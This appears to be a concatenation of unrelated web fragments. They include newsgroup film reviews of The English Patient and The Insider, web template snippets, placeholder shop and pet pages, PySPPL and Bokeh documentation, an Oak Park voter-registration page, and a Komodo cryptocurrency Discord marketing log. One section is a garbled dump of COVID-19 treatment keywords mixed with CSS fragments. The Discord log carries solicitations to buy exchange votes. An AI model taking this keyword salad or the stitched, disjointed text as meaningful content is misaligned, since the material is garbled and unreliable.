The desert is a star of the film as much as the actors, and it is just as perplexing. Portrayed as a beautiful but easily angered beast that is ready to engulf those who venture into it.
The intimate cinematography by John Seale (GORILLAS IN THE MIST and WITNESS) is a shoe-in for an Academy Award nomination as is Fiennes's performance. I could write the whole review on the cinematography, but let me just dwell on a couple of highlights. The rose-hued scenes of the desert in the morning and evening glow and by light of the campfires at night is stunning, and the aerial sequences are breathtaking. Seale's camera is perhaps best as it caresses the actors in the close-ups.
The editing by Walter Murch (THE GODFATHER PART III and APOCALYPSE NOW) is also award caliber. He creates many scenes of precious beauty. Watch for example how as Katharine's palms gently caressing her car window in North Africa, it slowly dissolves into The English Patient sick and dying in Italy. It is as if her hand was on his face across time and continents.
Gabriel Yared's music is dreamy, romantic, and majestic with lots of harps solos, violins, and staccato piano.
All of the acting is incredible, but none is on par with Fiennes. His intensity is almost that of a James Wood, and yet he hardly speaks. Katherine complains to the Count that, "You speak so many bloody languages, and you never want to talk." My personal favorite in the film is Kristin Scott Thomas who brings intelligence and a subtle sensuality to her part.
Director Anthony Minghella (TRULY MADLY DEEPLY) has crafted a masterpiece with THE ENGLISH PATIENT. This is an absorbing and moving cinematic experience with a single flaw. Eventually, it does end.
THE ENGLISH PATIENT runs 2:42 which is just the right length. Very few films need to be longer than two hours, but this one does. It is true epic. The film is rated R for some war violence, some sex, some nudity, and a little bad language. It is a great and absorbing picture and fine for teenagers. I loved this show. I came in with high expectations, and they were exceeded. I give the film my highest recommendation and award it a full ****.
**** = One of the top few films of this or any year. A must see film. *** = Excellent show. Look for it. ** = Average movie. Kind of enjoyable. * = Poor show.  Totally unbearable.
REVIEW WRITTEN ON: November 11, 1996
Opinions expressed are mine and not meant to reflect my employer's.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


[]. COVID- patients treatment viral virus SARS-CoV- coronavirus clinical efficacy NCT drug cell safety study activity antiviral RNA combination host protein treat respiratory novel trial SARS pneumonia Oral drugs route infection trials replication severe (n.d.). evaluate (accessed SARS-CoV University spike treating China disease therapy cells COVID-. therapeutic use hydroxychloroquine inhibits {border-style like protease results showed ... ACE- Medical RBV United complex plasma px;} #ffffff;} ARB COVID-, MERS-CoV cases https://clinicaltrials.gov/ct/show/NCT human membrane potential proteins repurposing April Clinical ClinicalTrials.gov, NCT, Research immune receptor receptors syndrome text view RDV approved vaccines [], binding genome initiated lung polymerase randomized, research shown effect effective effects entry fusion influenza inhibitors new reported used virus, viruses vitro ChiCTR, Drug Hydroxychloroquine I.V MERS action caused chloroquine current cytokine oral Fig. Health However, INF States [,]. acute control data days development dose form given hospitalized infected inhibiting levels main mechanism open pandemic present storm CoVs FPV Plus TCZ ability adverse analysis assess associated based broad-spectrum concentration domain interferon load mainly prevent production structure transmission â€"Â -nCoV FDA Hospital, Oseltamivir Wuhan, cytokines demonstrated inhibition recent reduce studies various â€" (COVID-) Infect. National Teicoplanin acts aim amino available azithromycin bacterial baricitinib binds controlled convalescent function group half-life identified inhibit injection low metabolized metal phase possible process promising px; randomized reducing replication. role structural targets virus. {font-family â€² COVID-: Fellowship HCQ HIV Hospital Med. New Rev. SARS-CoV-, SARS-CoV. acid agents anti-viral block cellular clinicaltrials.govhttps://clinicaltrials.gov/ct/show/NCT cyclosporine effectiveness endocytosis enzyme font-size genomic hepatitis including increase infections inflammatory involved kinase known leads life liver mild moderate number open-label pathway pathways pharmacokinetic potent preventing repurposed ribavirin ritonavir sirolimus site surface test time transcription using (for Azithromycin Cell Center, China, Chinese Coronavirus East Ebola Favipiravir IL- Institute, LPV Phase RTV Remdesivir administration agent antibodies bioavailability blocks case cleavage considered corticosteroids countries currently decrease dependent different double; early effectively efficiently enzymes epithelial family genetic immunoglobulin inhibitory interaction ions ivermectin leading major mediated multiple outbreak properties proteases rapid release required similar strategies suspected synthesis teicoplanin tissue vaccine world Acad. Agents Antimicrob. Baricitinib COVD- Care Chloroquine CoV Dr. Elsevier India Manipal Respiratory Rev Spike States, Study Table Treatment University, Versus [[], []]. adenosine antibiotic arbidol bat border-color border-width bound cause compounds conditions conducted cycle day decreasing develop developed developing dimer double elevated emerging forms highly hospitalization humans important include increased induced inflammation infusion inhibited inhibitor inhibitor, initiated. internalization intracellular investigational lipid maximum molecular mortality obtained ongoing outcomes positive preclinical prevents profile progress proteins, recently related resulting review small solid; specific started strategy suppressing target targeting therapeutics tocilizumab tract vaccines, vital {font-style {font-weight (Fig. (NCT) Acute Cancer Centre Cyclosporine DNA DRV Delhi France GS- Government India, Institute Interferon International Ivermectin Middle Natl. Patients Pegylated Ribavirin S.C SARS-CoV, SARS-CoV-. Sci. Sciences, Severe Spain Syndrome Virus Wuhan absorbed accessory administered adults affected affinity animal antibiotics belong better blocking bold candidates care carried centre changes chronic class clinically combating components condition corona corticosteroid courier; death design distribution dromedary em; enter epidemic expected failure followed following formation future having helicase high higher however, identifying immunosuppressive includes infection, infection. infection: infections, infectious infectivity information interferon-Î± intravenous investigate it's key lungs making management market mechanisms monoclonal non-structural nsp nuclear open-label, origin palm particular patients, patients. performed pharmacodynamic pharmacokinetics placebo play pneumonia, proliferation protein. proteins. pt;} reaction released resource respect response responses rheumatoid route, seafood secretion shows study, successfully symptomatic symptoms tablets taken tested times total triphosphate uses virological volume widely zinc


{% extends "style-guide/base.html" %} {% block title %}Tooltips{% endblock %} {% block scripts %} {% endblock %} {% block main %}
And additional text And additional text And additional text
And additional text


Warning: All products sold here contains nicotine. Nicotine is an addictive chemical
Our most popular items
We work with the top brands to bring you only the best
Sus
Item
❮
❯
Welcome to Store
Ipsum Lorem
You must be over 21 year old to be able to shop at our store.
Our store offers a variety of:
A word from the owner:
"Ipsum Lorem"
- Bikrant
Some other items
Here are some of our other best-sellers on our store
Lucid Lighting Peak
Puffco Plus


Moxi Mieras
World's best Vizsla
Moxi
Here are the great things about Moxi:
- Commands she knows:
- Sit/ Stay/ Down/li>
- Wait/ Here
- High Five
- Nose (sit with treat on nose)
Moxi's favorite things/h3>
These are her three favorites, in order:
- Food
- Love
- Sleep
Thanks for reading about Moxi!


PySPPL¶
The Pyfo Language¶
Pyfo is built on top of a mathematically robust compiler for first-order graphical models. Models written in pyfo are checked by the simple probabilistic programming language (SPPL) to ensure that the model written is a valid model.
Backend¶
Computational Graph¶
-
class
GraphCodeGenerator
(nodes: list, state_object: Optional[str] = None, imports: Optional[str] = None)[source]¶ Bases:
object
In contrast to the more general code generator CodeGenerator, this class creates the code for a graph-based model. The output of the method generate_model_code() is therefore the code of a class Model with functions such as gen_log_pdf() or gen_prior_samples(), including all necessary imports.
You want to change this class if you need additional (or adapted) methods in your model-class.
Example:
>>> graph = ... # <- actually generated by the graph-factory/generator >>> graph_code_gen = GraphCodeGenerator(graph.nodes, state_object='state', imports='import distributions as dist') >>> code = graph_code_gen.generate_model_code() >>> my_globals = {} >>> exec(code, my_globals) >>> Model = my_globals['Model'] >>> model = Model(graph.vertices, graph.arcs, graph.data, graph.conditionals)
The state-object specifies the actual name of the dictionary/map that holds the state, i. e. all the variables. When any state-object is given, the generated code reads, say, state[‘x’] instead of purely x.
Note
The generate_model_code-method uses three fixed methods to generate the code for __init__, __repr__ as well as the doc-string: _generate_doc_string, _generate_init_method, _generate_repr_method. After that, it scans the object instance of GraphCodeGenerator for public methods, and assumes that each method returns the code for the respective method.Say, for instance, you wanted your Model-class to have a method get_all_nodes with the following code
>>> def get_all_nodes(self): >>> return set.union(self.vertices, self.conditionals)
You then add the following method to the GraphCodeGenerator and be done
>>> def get_all_nodes(self): >>> return "return set.union(self.vertices, self.conditionals)"
If, on the other hand, you need some additional parameters/arguments for your method, then you should return a tuple with the first element being the parameters as a string, and the second element being the code as before.
>>> def get_all_nodes(self): >>> return "param1, param2", "return set.union(self.vertices, self.conditionals)"
Of course, you do not need to actually change this class, but you can derive a new class from it, if you wish.


Review: The Insider
Review by: Joy Wyse, the SILVER Screen Critic
Starring: Al Pacino, Russell Crowe, Christopher Plummer, etc.
Director: Michael Mann
There are numerous familiar faces in this movie. The list is goes on and on so part of the enjoyment of the film is noticing who is in which role. The Insider has such an important storyline that a large group of well-known actors wanted to be part of it.
At first you might think that this is the story of how the tobacco industry has successfully kept the smoking public thinking that cigarettes are non-addictive. That's not it. It also is the story of how big business can, and does control the media. But even that is not the true plot line. It's really the story of two men, Lowell Bergman (Pacino) and Jeffrey Wigand (Crowe) and the integrity that each man has.
Bergman is a producer on `60 Minutes' who is always on the lookout for a big story. When he convinces someone, anyone, to allow him to cover a story, he promises to protect the person, and he means it.
Wigand is a former executive research officer at Brown & Williamson who knows that they actually add substances to insure addiction. When they fire him he must agree to a confidentiality contract prohibiting him from telling what he knows. In return, B & W bestows upon him a good severance program including much needed insurance that will insure his daughter's asthma treatments.
When a movie is based on fact, as this one is, the producers cannot take liberties with actual events. People cannot be portrayed as acting in a way other than what they truly did. So, when they show Wigand's wife, Liane, (portrayed by Diane Venora) crumbling under the outside pressures, you get a good look at how difficult their lives became.
As we were leaving the screening almost everyone said that same thing: It is a good movie, but longer than it should be. I can't think of any scene that should be omitted, but they could have edited out a lot of the lingering moments.
Every actor in the film is terrific. There is already talk that Plummer will probably be nominated for best supporting actor. We'll see. Personally, I loved Russell Crowe and I'm glad to see him coming into his own. I liked him so much in `Mystery Alaska'. This is a very different role for him.
I give the film an A. I don't know how it got an `R' rating. The only objectionable thing I remember was a single use of F---!
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Platform for every student need
SIGN IN
or
CREATE AN ACCOUNT
×
CREATE AN ACCOUNT
STUDENT
or
ORGANIZATION


{% extends "main/baseloggedin.html" %} {% load crispy_forms_tags %} {% load static %} {% block content %}
Dedupe is a deduplication library using fuzzy string matching with rules learned from active user input.
Dedupe may be trained on multiple columns. When selecting which columns to train on, ask yourself the following questions:
Example fields that Dedupe may be appropriate for:


--- layout: post title: Eurima White Paper session description: Eurima White Paper Session date: '2019-04-08 10:10:12 +0100' categories: - Klare Lijn — Ligne Claire - Illustration ---
White Paper Session, commissioned by EURIMA.


facebook
googleplus
(928) 442-9116
Send us files
Menu
Skip to content
Home
Printing Services
Printing Services
Signs and Graphics
Planroom
Project List
Building Reports
Calendar
Equipment and Supplies
About Us
Contact Us
(0) Cart item
Welcome to My PlanRoom Private Projects.
Please click on any of the projects below to view the details
My Profile
Project List
My Private Projects
Logout
Planroom Cart
You have no products in your cart
View Cart
2 Projects
ID
Job Name
Bid Date
Status
01
Crack Sealing - Yavapai
06/06/2016
02
Supply & Deliver Hot Asphaltic Concrete _ Yavapai
06/06/2016
edit


--- title: "Pre-school children’s activities and resources" layout: featured header-bg: custom-bg-corporate-duck-blue featured-hero-description: "Activities, events and resources for 0-5 year-olds." featured-hero-image: "events/rushmere-1000.jpg" featured-hero-alt: "Parents and carers playing with young children in a library." featured-hero-caption: "Storytime at a pop-up library" featured-hero-logo: "events/wordplay-coffee-logo.png" featured-hero-logo-alt: "Wordplay" featured-hero-center: true breadcrumb: events --- {% include z-bar.html src="events/woodbridge-bb-1000.jpg" alt="Parents and carers playing with babies in a library." bg-color="bg-near-white" title="Baby Bounce, Tot Rock and Storytime sessions" text="Join Oona the Owl for free, fun sessions for babies, toddlers and young children. Meet other parents and carers and give your child a great start in life." link="/events-activities/children/pre-school-children/activities/" link-text="Find an activity near you →" link-color="custom-corporate-duck-blue" link-hover-color="custom-corporate-duck-blue" %} {% include z-bar.html src="events/big-book.jpg" alt="A man reading a huge hardback book with owl toys around him." layout-reverse="true" color="white" bg-color="custom-bg-corporate-duck-blue" title="BIG books, story sacks & school bags" text="Lots of free resources to enhance your enjoyment of reading and help prepare your child for school." link="/parents-carers-and-children/storytime-resources/" link-text="BIG books, story sacks & school bags →" link-color="white" link-hover-color="white" %}
All our libraries hold regular Baby Bounce, Tot Rock and Storytime sessions for babies and young children and their parents/carers. You can hear stories, sing, move and play with toys and instruments together. The sessions are free, informal and welcoming, with no need to book in advance.
Research shows these activities are hugely valuable to children and their parents and carers, improving literacy and providing a way for adults to socialise, often in remote, rural locations in Suffolk.


## Developing Dashboard Applications with Bokeh
*Luke Canavan*
Bokeh seeks to connect PyData tools and users to web-based, interactive visualization
[KeplerGO/lightkurve](https://github.com/KeplerGO/lightkurve)
### Bokeh 1.0 Announcement Features include: * Highly customizable plotting primitives * Interactive plot tools (pan, hover, zoom, etc) * HTML Widgets (sliders, dropdowns, etc) * Native support for network graphs and geo data * Jupyter Notebook, Jupyter Lab, Zeppelin support * JS and Python callbacks on data changes and events * Bokeh Server
### Outline * Building visualizations from primitives * Layouts with bokeh.layouts and custom templates * Styling using Palettes and Themes * Running as a server application
### Goal
### Building visualizations from primitives
Pick what graphical primitives to use, provide the data, and specify how to map visual properties to data fields. Bokeh will take care of the rest.
### Bokeh / BokehJS Architecture
### Using the bokeh.models API ``` $ from bokeh.models import Circle $ circle = Circle(x=5, y=10, fill_color="red") $ circle.to_json(include_defaults=False) > { "angle": { "units": "rad", "value": 0 }, "fill_alpha": { "value": 1 }, "fill_color": { "value": "red" }, "id": "551a8ecc-1059-4478-9ddd-bac1e69f6c76", "js_event_callbacks": {}, "js_property_callbacks": {}, "line_alpha": { "value": 1 }, "line_cap": "butt", "line_color": { "value": "black" }, "line_dash": [], "line_dash_offset": 0, "line_join": "bevel", "line_width": { "value": 1 }, "name": null, "radius": null, "radius_dimension": "x", "size": { "units": "screen", "value": 4 }, "subscribed_events": [], "tags": [], "x": { "value": 5 }, "y": { "value": 7 } } ```
### Write data driven visualizations ``` $ from bokeh.models import ColumnDataSource $ data = { "x": [...], "y": [...], "color": [...]} ### From Dict[str, list] $ source = ColumnDataSource(data) ### From Pandas DataFrame $ df = pd.DataFrame(data) $ source = ColumnDataSource(df) ```
### Map visual properties to data fields ``` $ source = ColumnDataSource({ "x": [...], "y": [...], "color": [...]} $ plot.add_glyph( source, Circle(x='x', y='y', fill_color='color')) ```
To Reiterate: Pick what graphical primitives to use, provide the data, and specify how to map visual properties to data fields. Bokeh will take care of the rest. More reading at [Enjoying the bokeh.models API](https://bokeh.github.io/blog/2017/7/5/idiomatic_bokeh/)
### Face Detection Example
### Layouts with bokeh.layouts and custom templates
Plots and Widgets can be responsive
The bokeh.layouts API offers a "rows and columns"-based layout interface ``` from bokeh.layouts import layouts l = layout([ [bollinger], [sliders, plot], [p1, p2, p3], ], sizing_mode='stretch_both') ```
### Using bokeh.layouts
### Using custom templates * Support for embedding roots into custom Jinja templates * New in Bokeh 0.13.0, you can individually lay out Document items...
Bokeh + CSS Layout Models = Amazing Layouts
[CSS Grid](https://css-tricks.com/snippets/css/complete-guide-grid/)
Dask Distributed's diagnostic UI uses CSS Grid
Dask Distributed's diagnostic UI uses CSS Grid
### Face Detection Example
### Styling using Palettes and Themes
Bokeh offers many aesthetically pleasing color palettes including the Brewer and D3 palettes.
[Made with Holoviews](http://holoviews.org/gallery/demos/bokeh/autompg_violins.html#bokeh-gallery-autompg-violins)
Bokeh also offers perceptually uniform color palettes to allow users to map data to color ranges.
[Made with Datashader](http://datashader.org/getting_started/1_Introduction.html)
Themes are great for maintaining consistent style across several plots ``` attrs: Axis: axis_line_color: "#49483E" axis_label_text_color: "#888888" major_label_text_color: "#888888" major_tick_line_color: "#49483E" minor_tick_line_color: "#49483E" Legend: border_line_color: "#49483E" background_fill_color: "#282828" label_text_color: "#888888" Plot: background_fill_color: "#282828" border_fill_color: "#282828" outline_line_color: "#49483E" ```
Community-created Themes
Caliber
Monokai Dark
Minimal Dark
### Running as a Bokeh server application
Bokeh Server keeps Python and JS models in sync.
Python callbacks can executed on property changes ``` ... def update(attr, old, new): plot.title.text = new x = Select(title='X-Axis', value='mpg', options=columns) x.on_change('value', update) ```
Document-level Python callbacks are intended for server-driven updates like pushes and polling ``` def stream_image(): ... source.data["image"] = [image] doc.add_periodic_callback(acquire_image, 100) ```


Oak Park Township makes community impact and resident involvement easier by offering voter registration services to all its residents at our Township Administration office.
Things to remember when registering:
Visit the Township Administration office at:
105 S. Oak Park Avenue
Oak Park, IL 60302
708-383-8005
Additional registration locations are: Village of Oak Park, Oak Park Public Library, and Cook County Clerk.
Key Dates:
March 20, 2018 Gubernatorial Primary Election
12/20/2017 First day to apply for a mail ballot
2/8/2018 Statutory beginning of the early voting period
2/20/2018 Last day to register to vote by paper application
2/21/2018 First day of grace period registration and voting
3/4/2018 Last day to register to vote by online application
3/5/2018 First day of early voting
3/15/2018 Last day to request a mail ballot, including military and overseas voters
3/19/2018 Last day of early voting
3/20/2018 Last day mail ballots can be postmarked
3/20/2018 Election Day
Early Voting and Absentee Ballots
For early voting locations, voters registered in suburban Cook County can visit the Cook County Clerk website. Oak Park residents can also contact the Village Clerk at Oak Park Village Hall, 123 Madison Street, call<PHONE_NUMBER>, or visit www.oak-park.us for more information.
Registered voters may to to Village Hall, 123 Madison Street, for early voting during the following days and times:
| 1 | Monday – Saturday, March 5 – 10 | 9 a.m. – 5 p.m. |
|---|---|---|
| 2 | Sunday, March 11 | 10 a.m. – 4 p.m. |
| 3 | Monday – Friday, March 12 - 16 | 9 a.m. – 7 p.m. |
| 4 | Saturday, March 17 | 9 a.m. – 5 p.m. |
| 5 | Sunday, March 18 | 10 a.m. – 4 p.m. |
| 6 | Monday, March 19 | 9 a.m. – 5 p.m. |
Grace-period registration will also be offered by Village Hall for individuals who missed the early voting hours. Please visit their website for more information.
To request an absentee ballot online, visit www.cookcountyclerk.com/elections.
For more information about voter registration, please contact Township Clerk, Gregory White.


Ask questions or make suggestions about marketing, business development, or anything else relevant. This is the channel to discuss topics with Komodo team.
100 messages
Before 05-Dec-19 12:00 AM
benohanlon10-Oct-18 02:44 PM
@Meyse that's certainly something we want to do
Meyse10-Oct-18 02:47 PM
to be blunt, i dont think these infographics will do that job. i might be wrong ofcourse
jon00810-Oct-18 02:52 PM
for me it is nice to see lot of infographic contestant who participate in the contest. lot of them make their entry to be qualified and they tried hard to complete it in time of submission. i hope that we all recognize the time and effort of all contestant..(edited)
DingDongSoLong10-Oct-18 03:14 PM
Hey I asked this guy if he can do a KMD video and he has 12K subscribers on YouTube & has interviewed some big names in the space & said he’ll reach out to you guys. The name is Rock The Block Live
Opeyemi20110-Oct-18 03:54 PM
@benohanlon hello
benohanlon10-Oct-18 04:21 PM
@Meyse it's not the only thing we want to do.
Engaging the blockchain community, crypto public and newbies doesn't stop us attracting devs. They're not mutually exclusive.
@DingDongSoLong pretty sure we talked on twitter but if not, please ask them to DM us on twitter or DM me on Discord.(edited)
So $DAPS clearly won the last poll over $TRX $XRP and $XVG in regards to who has the strongest community!! Lets match them up with some other strong communal projects like $ICX $NEO and $KMD - this should be interesting!!!
DingDongSoLong10-Oct-18 05:57 PM
@benohanlon cool I wasn’t sure which platform y’all preferred
Voight10-Oct-18 06:10 PM
hi guys. I'm one of the winners of gleam.io. Is there anything i should do
CryptoMiso is a web service ranking cryptocurrencies based on the commit history of their most popular Github repository.
Steve Lee11-Oct-18 04:13 PM
@sφldat unfortunately cryptomiso only tracks a single repo, and we have over a dozen in total. We've tried asking if they'd add more, but they have refused.
apex94411-Oct-18 05:23 PM
Apologies if this has been discussed but this site would seem to be a good place for KMD to get noticed: https://www.keysheet.io/
Keysheet curates cryptocurrency recommendations and reviews from the experts. Expert opinion is boils down each coin into its Keymeter score, which shows you the best and worst coins at a glance.
Normal peer-to-peer atomic swaps have a liquidity problem. Ethan Heilman, Co-founder of Commonwealthcrypto, explains why they created a new way to do faster crosschain atomic swaps. https://t.co/mBAIW855CS #blockchain #atomicswaps
I need to rewatch the video but seems he talks about things already fixed by barterdex long ago
KomodoWorld11-Oct-18 07:00 PM
oh he's mostly speaking about swaps on LN
I wish him good luck
CIQ~SpaceMarine11-Oct-18 08:38 PM
Hello! BitcoinNews.com can offer you press releases, sponsored stories, advertisement, and podcasts in exchange for your tokens or major cryptocurrencies. We get over 1 million views a month. If interested, send an email to<EMAIL_ADDRESS>or call/text<PHONE_NUMBER>
@benohanlon @VerusCoin @EthAdvisor M still waiting some word from @VitalikButerin @VladZamfir @aantonop or other critics to hear on @VerusCoin’s Nothing@Stake solution. So far nobody has responded even in tweet??? Such big problem solved, and how come nobody responds to ...
Solution to Nothing-at-Stake and Weak Subjectivity
I tried to make a not-shilling post, with simple facts and quoting from the article
edit: the thread has been moved to the Altcoin section by a moderator(edited)
@benohanlon @satindergrewal @VerusCoin @EthAdvisor @VitalikButerin @aantonop or maybe we just don't want to pump your shitcoin
Mylo13-Oct-18 05:04 AM
Hehe what a spoilt sport, sounds like NIH syndrome.
Consensus customization with crypto conditions allows for dApps to be built with access to all parts of the blockchain.
- the block reward distribution (and probably fancy cryptonomics and governance) Mr Vlad probably dreams of
- off chain data oracle ized to become part of consensus rules
- utxo locking for stable coin gateways
- tokenization of assets
- instant payment channels, on chain, comparable with lightning network. Also lockable and therefore exchangeable for other gateway coins, crypto or stable coin, tokenized asset or combinations.
- fungibility between chains
This is only the beginning too! Very flexible extensions to v1 and v2 blockchain tech.
AlvinLeito13-Oct-18 03:15 PM
Hey all.. ViisiitCoin will become a new coin that will be used to create a new marketing channel, so I guess, no better place to also send this message. There is an active bounty challenge going on for people that want to give feedback on the whitepaper of the ViisiitCoin. ViisiitCoin will become an assetchain of Komodo.
The whitepaper is a Google docs, and we cannot give the link to it away freely, so’ I’ll need to add you to the document through an e-mail if you’re interested.
More info on the whitepaper, you can find on the bottom page of www.H12N.com
passcombo.com 🏴☠🏴14-Oct-18 06:50 AM
for hash to be stable price must be stable. For price to be stable community must grow, because miners will not sell to same people everyday (same people have limited amounts), so new people are needed to sustain the network, otherwise all collapses. One can actually calculate at what rate members must grow in number daily (assuming avg BTC one have to spend), assuming amount of KMD or BTC needed to sustain mining/hashrate.
Job for marketing
passcombo.com 🏴☠🏴14-Oct-18 07:22 AM
PS did anyone in marketing team try to make a report of marketing strategies used in crypto? To see the full picture to know which things make sense, which not? it's seems without strong constant inflow of new people we can only expect KMD economy going down long term.
Eth or EOS could learn tech from KMD, but still KMD can learn marketing from them
Maciej Bolbot14-Oct-18 11:36 AM
Hello i do a bit of online marketing myself and will prepare little info shortly meanwhile have look on that Hi here is blockchain hackathon details https://www.eventbrite.co.uk/e/oracle-blockchain-gov-hack-tickets-47181625512 i believe that making kmd visible in such a places only will increase awareness and moreover will bring a lot of credibility and social proof if its used in projects for govt :) besides if any1 is interested going i will be there and admin please could you tell me appropriate tab to post the link for interested people
This October Oracle will be holding their first 24 hour Blockchain Hackathon over the weekend of the 26th and 28th October in London. This event is targeted towards the UK Government and its aim is to identify and use real-life use-cases of distributed ledger technology to d...
How does the @KomodoPlatform allow for such extensive scaling whilst retaining security? We've written about this here as our final part of the Focus Fire series on #Komodo https://t.co/Yx0zFJU8fr by @_DKleine
-
#altcoins #cryptotwitter #blockchain
Coin request time!
I will take the top 3 coins and chart them throughout next week
Comment your fav coin
LIKE & RETWEET the post for the request to be considered
$WENDO
An amazing gem is being born by @KomodoPlatform testers community $STAKED. Work of blackjok3r, Alright, and others will give amazing advancement to Blockchain tech.
azaid15-Oct-18 10:39 PM
Hello sir. Are you interested on buying lbank votes? I can provide you 700-1000votes a day.
Adina15-Oct-18 10:43 PM
Hello Komodo community, question for you: I'd like to do translations in Romanian. What would be the first steps to do that? Thanks !
Find me on Steemit: www.steemit.com/@heiditravels Twitter: @blockchainchick Instagram: @hheidiann Bit.tube: RealCryptoTips Thinking about purchasing a Ledger...
Delta is the ultimate Bitcoin & cryptocurrency portfolio tracker app. Keep track of all cryptocoins, including Bitcoin, Ethereum, Litecoin and over 3000 altcoins. Use the free app to get the latest coin prices and market charts in your local currency and get alerts to make su...
Looks like Cryptoon beat me to it last week
Cryptoon16-Oct-18 08:14 PM
It's not a race when we are all working towards the same goal for the team
$ARRR new booty giveaway be underway me hearties!
Sign up for our daily news feed via email and receive 4 extra entries for this weeks Mining Rig Commandeering Contest.
Please RT and tag three of your best mateys!
https://t.co/jgS8etihNV
Free ARRR raffle and some exposure would be great as we work up to our Vosk video launch
klunex17-Oct-18 08:22 AM
hey guys! I am thinking to make a german whitepaper. I think its good to make a lightpaper with descriptions how to use the userinterface (agama wallet, barterdex, hyperdex) with beyond links to deeper tech. The original english whitepaper is good but almoust nothing about userinterfaces. I think many users want just a quick intro to get the basics an start then. What do you think?
4
grewalsatinder17-Oct-18 11:29 AM
Ethereum wanting to solve the cross-blockchain transactions
@BrownCSDept @mpherlihy @ethereum Congratulations! Would be nice to see cross-blockchain transactions on ETH platform. I'd like to see an alternative implementation of this concept already existing @KomodoPlatform, which is called "Merkleroot of Merkleroot of Merkleroot" o...
@BrownCSDept @mpherlihy @ethereum @KomodoPlatform Basically, it allows sending a transaction to a cross blockchain, and it's not exactly an atomic swap. This is the base important part of Crypto-Conditions Smart Contracts which made it possible to solve Nothing-at-Stake pr...
Please be nice and congrats to fellow project devs, and let them know we have it already solved it in different architecture than ETH, and in any case can be of help if they think we could be of help.(edited)
Yassin17-Oct-18 11:31 AM
rtd!!
grewalsatinder17-Oct-18 11:31 AM
In such cases I wish @ComputerGenie 👴👴👴 be on twitter too
ComputerGenie 👴👴👴17-Oct-18 11:36 AM
would write Where do I sign up to get 65 grand to do what's already been done by Komodo for over a year?
@Blockgks @blockgeekslab read your article on ultimage guide to atomic swaps. Very good article. I noticed you mentioned @decredproject doing the "first known successful implementation of the atomic swap." To my knowledge it's @KomodoPlatform been successful at it long bef...
1
FishyGuts17-Oct-18 04:25 PM
!invites
InviteManagerBOT17-Oct-18 04:25 PM
FishyGuts
You have 45 invites! (45 regular, 0 bonus, 0 fake, 0 leaves)
FishyGuts17-Oct-18 04:26 PM
This bot will soon only be active in botchat - but ecosystem devs can create a new invite link and they will now be tracked perpetually for their click through. If you have multiple discord invite spots or campaigns, you can generate a new link for each one to track action rates.(edited)
@aantonop
What are your thoughts on Komodo?
- Independent blockchain creation.
- 51% attack resistance.
- Atomic swaps in use over 100,000 times.
- JL777 one of the most active lead devs I’ve seen.
- I think the project would fascinate you.
What would it take?
Masterin...
Join komodo discord and be rewarded by his tipbot!! Discover his awesome community, Tech Updates and much more. Thanks @KomodoPlatform #kmdtip #tipbot #kmd #komodo
https://t.co/oT4Muyauo5
3
2
1
A design to thank for your tipbot
blackjok3r19-Oct-18 02:48 AM
!kmdtip @Senda 1
KMD TipBotBOT19-Oct-18 02:48 AM
TipBot
@blackjok3r (blackjok3r#3181)
You tipped @Senda1 KMD